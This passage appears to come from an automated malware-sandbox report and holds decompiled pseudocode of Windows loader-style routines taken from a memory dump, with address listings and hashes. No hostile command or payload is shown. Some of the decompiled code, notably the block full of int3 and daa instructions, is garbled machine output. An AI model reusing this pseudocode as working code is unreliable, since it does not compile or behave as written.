																			_v52 = _t290;
																		}
																		__eflags = _t217 - 1;
																		if(_t217 != 1) {
																			_t369 = 0;
																			_t218 = _v40;
																			goto L91;
																		} else {
																			_v64 = 0;
																			E009EE9C0(1, _t290, 0, 0,  &_v64);
																			_t309 = _v64;
																			_v108 = _t309;
																			__eflags = _t309;
																			if(_t309 == 0) {
																				goto L143;
																			} else {
																				_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																				__eflags = _t226 - 0x10b;
																				if(_t226 != 0x10b) {
																					__eflags = _t226 - 0x20b;
																					if(_t226 != 0x20b) {
																						goto L143;
																					} else {
																						_t371 =  *(_t309 + 0x98);
																						goto L83;
																					}
																				} else {
																					_t371 =  *(_t309 + 0x88);
																					L83:
																					__eflags = _t371;
																					if(_t371 != 0) {
																						_v80 = _t371 - _t356 + _t290;
																						_t310 = _v64;
																						_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																						_t292 =  *(_t310 + 6) & 0x0000ffff;
																						_t311 = 0;
																						__eflags = 0;
																						while(1) {
																							_v120 = _t311;
																							_v116 = _t348;
																							__eflags = _t311 - _t292;
																							if(_t311 >= _t292) {
																								goto L143;
																							}
																							_t359 =  *((intOrPtr*)(_t348 + 0xc));
																							__eflags = _t371 - _t359;
																							if(_t371 < _t359) {
																								L98:
																								_t348 = _t348 + 0x28;
																								_t311 = _t311 + 1;
																								continue;
																							} else {
																								__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																								if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																									goto L98;
																								} else {
																									__eflags = _t348;
																									if(_t348 == 0) {
																										goto L143;
																									} else {
																										_t218 = _v40;
																										_t312 =  *_t218;
																										__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																										if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																											_v100 = _t359;
																											_t360 = _v108;
																											_t372 = L009E8F44(_v108, _t312);
																											__eflags = _t372;
																											if(_t372 == 0) {
																												goto L143;
																											} else {
																												_t290 = _v52;
																												_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E00A13C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																												_t307 = _v72;
																												_t344 = _v76;
																												_t218 = _v40;
																												goto L91;
																											}
																										} else {
																											_t290 = _v52;
																											_t307 = _v72;
																											_t344 = _v76;
																											_t369 = _v80;
																											L91:
																											_t358 = _a4;
																											__eflags = _t358;
																											if(_t358 == 0) {
																												L95:
																												_t308 = _a8;
																												__eflags = _t308;
																												if(_t308 != 0) {
																													 *_t308 =  *((intOrPtr*)(_v40 + 4));
																												}
																												_v8 = 0xfffffffe;
																												_t211 = _v84;
																											} else {
																												_t370 =  *_t218 - _t369 + _t290;
																												 *_t358 = _t370;
																												__eflags = _t370 - _t344;
																												if(_t370 <= _t344) {
																													L149:
																													 *_t358 = 0;
																													goto L150;
																												} else {
																													__eflags = _t307;
																													if(_t307 == 0) {
																														goto L95;
																													} else {
																														__eflags = _t370 - _t344 + _t307;
																														if(_t370 >= _t344 + _t307) {
																															goto L149;
																														} else {
																															goto L95;
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																							goto L97;
																						}
																					}
																					goto L143;
																				}
																			}
																		}
																	} else {
																		__eflags = _v40 - _t307 + _t344;
																		if(_v40 >= _t307 + _t344) {
																			goto L150;
																		} else {
																			goto L75;
																		}
																	}
																}
															}
														}
														L97:
														 *[fs:0x0] = _v20;
														return _t211;
													}
												}
											}
										}
									} else {
										goto L46;
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x009ed5f2
0x009ed5f5
0x009ed5f5
0x009ed5fd
0x009ed600
0x009ed60a
0x009ed60d
0x009ed617
0x009ed61d
0x009ed627
0x009ed62e
0x009ed911
0x009ed913
0x00000000
0x009ed919
0x009ed919
0x009ed919
0x009ed634
0x009ed634
0x009ed634
0x009ed634
0x009ed640
0x009ed8bf
0x00000000
0x009ed646
0x009ed646
0x009ed64d
0x009ed652
0x00a3b2fc
0x00a3b2fc
0x00a3b302
0x00a3b33b
0x00a3b341
0x00000000
0x00a3b304
0x00a3b304
0x00a3b319
0x00a3b31e
0x00a3b324
0x00a3b326
0x00a3b332
0x00a3b347
0x00a3b34c
0x00a3b351
0x00a3b35a
0x00000000
0x00a3b328
0x00a3b328
0x00000000
0x00a3b328
0x00a3b326
0x009ed658
0x009ed658
0x009ed65b
0x009ed665
0x00000000
0x009ed66b
0x009ed66b
0x009ed66b
0x009ed66b
0x009ed66d
0x009ed672
0x009ed67a
0x00000000
0x00000000
0x009ed680
0x009ed686
0x009ed8ce
0x009ed8d4
0x009ed8dd
0x009ed8e0
0x009ed68c
0x009ed691
0x009ed69d
0x009ed6a2
0x009ed6a7
0x009ed6b0
0x009ed6b5
0x009ed6e0
0x009ed6b7
0x009ed6b7
0x009ed6b9
0x009ed6b9
0x009ed6bb
0x009ed6bd
0x009ed6ce
0x009ed6d0
0x009ed6d2
0x00a3b363
0x00a3b365
0x00000000
0x00a3b36b
0x00000000
0x00a3b36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x009ed6bf
0x009ed6bf
0x009ed6e5
0x009ed6e7
0x009ed6e9
0x009ed6ec
0x009ed6ec
0x009ed6ef
0x009ed6f5
0x009ed6f9
0x009ed6fb
0x009ed6fd
0x009ed701
0x009ed703
0x009ed70a
0x009ed70a
0x009ed701
0x009ed710
0x009ed710
0x009ed6c1
0x009ed6c1
0x009ed6c6
0x00a3b36d
0x00a3b36f
0x00000000
0x00a3b375
0x00a3b375
0x00a3b375
0x00000000
0x00a3b375
0x00000000
0x009ed6cc
0x009ed6d8
0x009ed6d8
0x009ed6d8
0x00000000
0x009ed6c6
0x009ed6bf
0x00000000
0x009ed6da
0x009ed6da
0x009ed716
0x009ed71b
0x009ed720
0x009ed726
0x009ed726
0x009ed72d
0x00000000
0x009ed733
0x009ed739
0x009ed742
0x009ed750
0x009ed758
0x009ed764
0x009ed776
0x009ed77a
0x009ed783
0x009ed928
0x009ed92c
0x009ed93d
0x009ed944
0x009ed94f
0x009ed954
0x009ed956
0x009ed95f
0x009ed961
0x009ed973
0x009ed973
0x009ed956
0x009ed944
0x009ed92c
0x009ed78b
0x00a3b394
0x009ed791
0x009ed798
0x00a3b3a3
0x00a3b3bb
0x00a3b3bb
0x009ed7a5
0x009ed866
0x009ed870
0x009ed892
0x009ed898
0x009ed89e
0x009ed8a0
0x009ed8a6
0x009ed8ac
0x009ed8ae
0x009ed8b4
0x009ed8b4
0x009ed8ae
0x009ed7a5
0x009ed78b
0x009ed7b1
0x00a3b3c5
0x00a3b3c5
0x009ed7c3
0x009ed7ca
0x009ed7e5
0x009ed7eb
0x009ed8eb
0x009ed8ed
0x00000000
0x009ed8f3
0x009ed8f3
0x009ed8f3
0x00000000
0x009ed8ed
0x009ed7cc
0x009ed7cc
0x009ed7d2
0x00000000
0x009ed7d4
0x009ed7d4
0x009ed7d7
0x009ed7df
0x00a3b3d4
0x00a3b3d9
0x00a3b3dc
0x00a3b3dc
0x00a3b3df
0x00a3b3e2
0x00a3b468
0x00a3b46d
0x00a3b46f
0x00a3b46f
0x00a3b475
0x009ed8f8
0x009ed8f9
0x009ed8fd
0x00a3b3e8
0x00a3b3e8
0x00a3b3eb
0x00a3b3ed
0x00000000
0x00a3b3ef
0x00a3b3ef
0x00a3b3f1
0x00a3b3f4
0x00a3b3fe
0x00a3b404
0x00a3b409
0x00a3b40e
0x00a3b410
0x00a3b410
0x00a3b414
0x00a3b414
0x00a3b41b
0x00a3b420
0x00a3b423
0x00a3b425
0x00a3b427
0x00a3b42a
0x00a3b42d
0x00a3b42d
0x00a3b42a
0x00a3b432
0x00a3b436
0x00a3b438
0x00a3b43b
0x00a3b43b
0x00a3b449
0x00a3b44e
0x00a3b454
0x00a3b458
0x00a3b458
0x00a3b45d
0x00000000
0x00a3b45d
0x00a3b3ed
0x00000000
0x00000000
0x00000000
0x009ed7df
0x009ed7d2
0x009ed7ca
0x00a3b37c
0x00a3b37e
0x00a3b385
0x00a3b38a
0x00000000
0x00a3b38a
0x009ed742
0x009ed7f1
0x009ed7f8
0x00a3b49b
0x00a3b49b
0x009ed800
0x009ed837
0x009ed843
0x009ed845
0x009ed847
0x009ed84a
0x009ed84b
0x009ed84e
0x009ed857
0x009ed818
0x009ed824
0x009ed831
0x00a3b4a5
0x00a3b4ab
0x00a3b4b3
0x00a3b4b8
0x00a3b4bb
0x00000000
0x00a3b4c1
0x00a3b4c1
0x00a3b4c8
0x00000000
0x00a3b4ce
0x00a3b4d4
0x00a3b4e1
0x00a3b4e3
0x00a3b4e5
0x00000000
0x00a3b4eb
0x00a3b4f0
0x00a3b4f2
0x009edac9
0x009edacc
0x009edacf
0x009edad1
0x009edd78
0x009edd78
0x009edcf2
0x00000000
0x009edad7
0x009edad9
0x009edadb
0x00000000
0x00000000
0x009edae1
0x009edae1
0x009edae4
0x009edae6
0x00a3b4f9
0x00a3b4f9
0x00a3b500
0x009edaec
0x009edaec
0x009edaf5
0x009edaf8
0x009edafb
0x009edb03
0x009edb11
0x009edb16
0x009edb19
0x009edb1b
0x00a3b52c
0x00a3b531
0x00a3b534
0x009edb21
0x009edb21
0x009edb24
0x009edcd9
0x009edce2
0x009edce5
0x009edd6a
0x009edd6d
0x00000000
0x009edd73
0x00a3b51a
0x00a3b51c
0x00a3b51f
0x00a3b524
0x00000000
0x00a3b524
0x009edce7
0x009edce7
0x009edce7
0x00000000
0x009edce7
0x00000000
0x009edb2a
0x009edb2c
0x009edb31
0x009edb33
0x009edb36
0x009edb39
0x009edb3b
0x009edb66
0x009edb66
0x009edb3d
0x009edb3d
0x009edb3e
0x009edb46
0x009edb47
0x009edb49
0x009edb4c
0x009edb53
0x009edb55
0x009edb58
0x009edb5a
0x00a3b50a
0x00a3b50f
0x00a3b512
0x009edb60
0x009edb60
0x009edb63
0x009edb63
0x00000000
0x009edb63
0x009edb5a
0x009edb3b
0x009edb24
0x009edb69
0x009edb69
0x009edb6c
0x009edb6f
0x009edb74
0x00a3b557
0x00a3b557
0x00a3b55e
0x009edb7a
0x009edb7c
0x009edb7f
0x009edb82
0x009edb85
0x00000000
0x009edb8b
0x009edb8b
0x009edb8d
0x009edb9b
0x009edb9b
0x009edb9d
0x009edba0
0x009edba2
0x009edba4
0x009edba7
0x009edba9
0x009edbae
0x009edbae
0x009edbb1
0x009edbb4
0x009edbb4
0x009edbb7
0x009edbba
0x009edcd2
0x009edcd4
0x00000000
0x009edbc0
0x009edbc0
0x009edbd2
0x009edbd7
0x009edbda
0x009edbdd
0x009edbdf
0x00000000
0x009edbe5
0x009edbe5
0x009edbee
0x009edbf1
0x00a3b541
0x00a3b544
0x00000000
0x00a3b546
0x00a3b546
0x00000000
0x00a3b546
0x009edbf7
0x009edbf7
0x009edbfd
0x009edbfd
0x009edbff
0x009edc0b
0x009edc15
0x009edc1b
0x009edc1d
0x009edc21
0x009edc21
0x009edc23
0x009edc23
0x009edc26
0x009edc29
0x009edc2b
0x00000000
0x00000000
0x009edc31
0x009edc34
0x009edc36
0x009edcbf
0x009edcbf
0x009edcc2
0x00000000
0x009edc3c
0x009edc41
0x009edc43
0x00000000
0x009edc45
0x009edc45
0x009edc47
0x00000000
0x009edc4d
0x009edc4d
0x009edc50
0x009edc52
0x009edc55
0x009edcfa
0x009edcfe
0x009edd08
0x009edd0a
0x009edd0c
0x00000000
0x009edd12
0x009edd15
0x009edd2d
0x009edd2f
0x009edd32
0x009edd35
0x00000000
0x009edd35
0x009edc5b
0x009edc5b
0x009edc5e
0x009edc61
0x009edc64
0x009edc67
0x009edc67
0x009edc6a
0x009edc6c
0x009edc8e
0x009edc8e
0x009edc91
0x009edc93
0x009edcce
0x009edcce
0x009edc95
0x009edc9c
0x009edc6e
0x009edc72
0x009edc75
0x009edc77
0x009edc79
0x00a3b551
0x00a3b551
0x00000000
0x009edc7f
0x009edc7f
0x009edc81
0x00000000
0x009edc83
0x009edc86
0x009edc88
0x00000000
0x00000000
0x00000000
0x00000000
0x009edc88
0x009edc81
0x009edc79
0x009edc6c
0x009edc55
0x009edc47
0x009edc43
0x00000000
0x009edc36
0x009edc23
0x00000000
0x009edbff
0x009edbf1
0x009edbdf
0x009edb8f
0x009edb92
0x009edb95
0x00000000
0x00000000
0x00000000
0x00000000
0x009edb95
0x009edb8d
0x009edb85
0x009edb74
0x009edc9f
0x009edca2
0x009edcb0
0x009edcb0
0x009edad1
0x00a3b4e5
0x00a3b4c8
0x00000000
0x00000000
0x00000000
0x009ed831
0x00000000
0x009ed800
0x00a3b47f
0x00a3b485
0x00000000
0x00a3b485
0x009ed665
0x009ed652
0x00000000

Strings

*J, xrefs: 009ED8CE

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: *J
API String ID: 0-492040250
Opcode ID: 7de5949792e414b8fa40afdeacbeda6c4a1a66dfe39df4b711f3be9c8a99c88b
Instruction ID: dd7e849ca27775d9ebcd3cfaa70adbb021e9cb16a37d2d2f28c8325f3650f0c4
Opcode Fuzzy Hash: 7de5949792e414b8fa40afdeacbeda6c4a1a66dfe39df4b711f3be9c8a99c88b
Instruction Fuzzy Hash: 19E12670A023A9CFDB36DF25C980BA9B7B6BF85304F1501A9E9099B291D734AD81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00A02581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00A02581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, char _a1530200220, char _a1546911900) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t239;
				signed int _t243;
				intOrPtr _t247;
				signed int _t254;
				signed int _t256;
				intOrPtr _t258;
				signed int _t261;
				signed int _t268;
				signed int _t271;
				signed int _t279;
				signed int _t281;
				signed int _t286;
				signed int _t288;
				void* _t290;
				void* _t291;
				signed int _t292;
				unsigned int _t295;
				signed int _t299;
				void* _t300;
				signed int _t301;
				signed int _t305;
				intOrPtr _t318;
				signed int _t327;
				signed int _t329;
				signed int _t330;
				signed int _t334;
				signed int _t335;
				signed int _t337;
				signed int _t339;
				signed int _t341;
				void* _t342;

				_t339 = _t341;
				_t342 = _t341 - 0x4c;
				_v8 =  *0xacd360 ^ _t339;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t334 = 0xacb2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t295 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t286 = 0x48;
				_t315 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t327 = 0;
				_v37 = _t315;
				if(_v48 <= 0) {
					L16:
					_t45 = _t286 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t335 = 0xc0000106;
						goto L32;
					} else {
						_t334 = L009F4620(_t295,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t286);
						_v52 = _t334;
						__eflags = _t334;
						if(_t334 == 0) {
							_t335 = 0xc0000017;
							goto L32;
						} else {
							 *(_t334 + 0x44) =  *(_t334 + 0x44) & 0x00000000;
							_t50 = _t334 + 0x48; // 0x48
							_t329 = _t50;
							_t315 = _v32;
							 *(_t334 + 0x3c) = _t286;
							_t288 = 0;
							 *((short*)(_t334 + 0x30)) = _v48;
							__eflags = _t315;
							if(_t315 != 0) {
								 *(_t334 + 0x18) = _t329;
								__eflags = _t315 - 0xac8478;
								 *_t334 = ((0 | _t315 == 0x00ac8478) - 0x00000001 & 0xfffffffb) + 7;
								E00A1F3E0(_t329,  *((intOrPtr*)(_t315 + 4)),  *_t315 & 0x0000ffff);
								_t315 = _v32;
								_t342 = _t342 + 0xc;
								_t288 = 1;
								__eflags = _a8;
								_t329 = _t329 + (( *_t315 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t279 = E00A639F2(_t329);
									_t315 = _v32;
									_t329 = _t279;
								}
							}
							_t299 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t335 = _v68;
								__eflags = 0;
								 *((short*)(_t329 - 2)) = 0;
								goto L32;
							} else {
								_t286 = _t334 + _t288 * 4;
								_v56 = _t286;
								do {
									__eflags = _t315;
									if(_t315 != 0) {
										_t239 =  *(_v60 + _t299 * 4);
										__eflags = _t239;
										if(_t239 == 0) {
											goto L30;
										} else {
											__eflags = _t239 == 5;
											if(_t239 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t286 =  *(_v60 + _t299 * 4);
										 *(_t286 + 0x18) = _t329;
										_t243 =  *(_v60 + _t299 * 4);
										__eflags = _t243 - 8;
										if(_t243 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t243 * 4 +  &M00A02959))) {
												case 0:
													__ax =  *0xac8488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E00A1F3E0(__edi,  *0xac848c, __ax & 0x0000ffff);
														__eax =  *0xac8488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E00A1F3E0(_t329, _v80, _v64);
													_t274 = _v64;
													goto L26;
												case 2:
													 *0xac8480 & 0x0000ffff = E00A1F3E0(__edi,  *0xac8484,  *0xac8480 & 0x0000ffff);
													__eax =  *0xac8480 & 0x0000ffff;
													__eax = ( *0xac8480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E00A1F3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E00A1F3E0(_t329, _v76, _v36);
														_t274 = _v36;
													}
													L26:
													_t342 = _t342 + 0xc;
													_t329 = _t329 + (_t274 >> 1) * 2 + 2;
													__eflags = _t329;
													L27:
													_push(0x3b);
													_pop(_t276);
													 *((short*)(_t329 - 2)) = _t276;
													goto L28;
												case 6:
													__ebx =  *0xac575c;
													__eflags = __ebx - 0xac575c;
													if(__ebx != 0xac575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E00A1F3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0xac575c;
														} while (__ebx != 0xac575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0xac8478 & 0x0000ffff = E00A1F3E0(__edi,  *0xac847c,  *0xac8478 & 0x0000ffff);
													__eax =  *0xac8478 & 0x0000ffff;
													__eax = ( *0xac8478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E00A639F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0xac6e58 & 0x0000ffff = E00A1F3E0(__edi,  *0xac6e5c,  *0xac6e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0xac6e58 & 0x0000ffff;
													__eax = ( *0xac6e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t299 = _v16;
													_t315 = _v32;
													L29:
													_t286 = _t286 + 4;
													__eflags = _t286;
													_v56 = _t286;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t299 = _t299 + 1;
									_v16 = _t299;
									__eflags = _t299 - _v48;
								} while (_t299 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t281 =  *(_v60 + _t327 * 4);
						if(_t281 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t281 * 4 +  &M00A02935))) {
							case 0:
								__ax =  *0xac8488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t315 =  &_v64;
								_v80 = E00A02E3E(0,  &_v64);
								_t286 = _t286 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0xac8480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0xac8480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E009EEEF0(0xac79a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E009EEB70(__ecx, 0xac79a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t217 = _v72;
											__eflags = _t217;
											if(_t217 != 0) {
												L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t217);
											}
											_t218 = _v52;
											__eflags = _t218;
											if(_t218 != 0) {
												__eflags = _t335;
												if(_t335 < 0) {
													L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t218);
													_t218 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t295 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0xac7b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L009F4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E009EEB70(__ecx, 0xac79a0);
										__eax = _v52;
										L36:
										_pop(_t328);
										_pop(_t336);
										__eflags = _v8 ^ _t339;
										_pop(_t287);
										return E00A1B640(_t218, _t287, _v8 ^ _t339, _t315, _t328, _t336);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t282 = _v56;
								if(_v56 != 0) {
									_t315 =  &_v36;
									_t284 = E00A02E3E(_t282,  &_v36);
									_t295 = _v36;
									_v76 = _t284;
								}
								if(_t295 == 0) {
									goto L44;
								} else {
									_t286 = _t286 + 2 + _t295;
								}
								goto L14;
							case 6:
								__eax =  *0xac5764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0xac8478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0xac8478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0xac6e58 & 0x0000ffff;
								__eax = ( *0xac6e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t327 = _t327 + 1;
								if(_t327 >= _v48) {
									goto L16;
								} else {
									_t315 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_t300 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					asm("daa");
					 *((intOrPtr*)(_t334 + 0x28)) =  *((intOrPtr*)(_t334 + 0x28)) +  *0xa0262e00;
					_t247 =  *0xa0260500;
					 *_t329 =  *_t329 + _t286;
					_pop(_t290);
					asm("movsb");
					 *((intOrPtr*)(_t247 +  &_a1530200220)) =  *((intOrPtr*)(_t247 +  &_a1530200220)) + _t315;
					asm("movsb");
					 *_t315 =  *_t315 + _t247;
					 *((intOrPtr*)(_t247 - 0x5fd78000)) =  *((intOrPtr*)(_t247 - 0x5fd78000)) - _t342;
					asm("daa");
					 *((intOrPtr*)(_t334 + 0x28)) =  *((intOrPtr*)(_t334 + 0x28)) + _t300;
					_pop(_t291);
					asm("movsb");
					 *((intOrPtr*)( *0xa0275d00 + _t290 +  &_a1546911900)) =  *((intOrPtr*)( *0xa0275d00 + _t290 +  &_a1546911900)) + _t315 + _t315;
					asm("movsb");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0xaaff00);
					E00A2D08C(_t291, _t329, _t334);
					_v44 =  *[fs:0x18];
					_t330 = 0;
					 *_a24 = 0;
					_t292 = _a12;
					__eflags = _t292;
					if(_t292 == 0) {
						_t254 = 0xc0000100;
					} else {
						_v8 = 0;
						_t337 = 0xc0000100;
						_v52 = 0xc0000100;
						_t256 = 4;
						while(1) {
							_v40 = _t256;
							__eflags = _t256;
							if(_t256 == 0) {
								break;
							}
							_t305 = _t256 * 0xc;
							_v48 = _t305;
							__eflags = _t292 -  *((intOrPtr*)(_t305 + 0x9b1664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t271 = E00A1E5C0(_a8,  *((intOrPtr*)(_t305 + 0x9b1668)), _t292);
									_t342 = _t342 + 0xc;
									__eflags = _t271;
									if(__eflags == 0) {
										_t337 = E00A551BE(_t292,  *((intOrPtr*)(_v48 + 0x9b166c)), _a16, _t330, _t337, __eflags, _a20, _a24);
										_v52 = _t337;
										break;
									} else {
										_t256 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t256 = _t256 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t337;
						__eflags = _t337;
						if(_t337 < 0) {
							__eflags = _t337 - 0xc0000100;
							if(_t337 == 0xc0000100) {
								_t301 = _a4;
								__eflags = _t301;
								if(_t301 != 0) {
									_v36 = _t301;
									__eflags =  *_t301 - _t330;
									if( *_t301 == _t330) {
										_t337 = 0xc0000100;
										goto L76;
									} else {
										_t318 =  *((intOrPtr*)(_v44 + 0x30));
										_t258 =  *((intOrPtr*)(_t318 + 0x10));
										__eflags =  *((intOrPtr*)(_t258 + 0x48)) - _t301;
										if( *((intOrPtr*)(_t258 + 0x48)) == _t301) {
											__eflags =  *(_t318 + 0x1c);
											if( *(_t318 + 0x1c) == 0) {
												L106:
												_t337 = E00A02AE4( &_v36, _a8, _t292, _a16, _a20, _a24);
												_v32 = _t337;
												__eflags = _t337 - 0xc0000100;
												if(_t337 != 0xc0000100) {
													goto L69;
												} else {
													_t330 = 1;
													_t301 = _v36;
													goto L75;
												}
											} else {
												_t261 = E009E6600( *(_t318 + 0x1c));
												__eflags = _t261;
												if(_t261 != 0) {
													goto L106;
												} else {
													_t301 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t337 = E00A02C50(_t301, _a8, _t292, _a16, _a20, _a24, _t330);
											L76:
											_v32 = _t337;
											goto L69;
										}
									}
									goto L108;
								} else {
									E009EEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t337 = _a24;
									_t268 = E00A02AE4( &_v36, _a8, _t292, _a16, _a20, _t337);
									_v32 = _t268;
									__eflags = _t268 - 0xc0000100;
									if(_t268 == 0xc0000100) {
										_v32 = E00A02C50(_v36, _a8, _t292, _a16, _a20, _t337, 1);
									}
									_v8 = _t330;
									E00A02ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t254 = _t337;
					}
					L70:
					return E00A2D0D1(_t254);
				}
				L108:
			}

0x00a02584
0x00a02586
0x00a02590
0x00a02596
0x00a02597
0x00a02598
0x00a02599
0x00a0259e
0x00a025a4
0x00a025a9
0x00a025ac
0x00a025ae
0x00a025b1
0x00a025b2
0x00a025b5
0x00a025b8
0x00a025bb
0x00a025bc
0x00a025bf
0x00a025c2
0x00a025c5
0x00a025c6
0x00a025cb
0x00a025ce
0x00a025d8
0x00a025dd
0x00a025de
